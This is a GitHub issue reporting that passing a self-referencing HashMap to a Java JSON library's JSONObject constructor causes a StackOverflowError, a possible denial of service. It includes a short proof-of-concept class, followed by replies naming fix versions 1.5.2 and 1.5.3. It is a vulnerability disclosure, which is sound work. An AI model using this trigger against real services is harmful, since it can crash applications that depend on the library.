Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

If the value in map is the map's self, the new new JSONObject(map) cause StackOverflowError which may lead to dos #52

Closed
BIngDiAn-s opened this issue Nov 7, 2022 · 2 comments

Comments

@BIngDiAn-s
Copy link

poc as follow:

public class POC {
    public static void main(String[] args) throws JSONException {


            HashMap<String,Object> map=new HashMap<>();
            map.put("t",map);
            JSONObject jsonObject=new JSONObject(map);

    }
}

and the result:

image

@coheigea
Copy link
Contributor

Fixed in 1.5.2

@pjfanning
Copy link

I would recommend that users directed here by the CVE or by Github Security alerts skip straight to v1.5.3.
v1.5.3 appears to fix some issues that were introduced in v1.5.2. v1.5.2 caused problems for Apache Hadoop tests but v1.5.3 seems to work fine.

This was referenced Jun 8, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants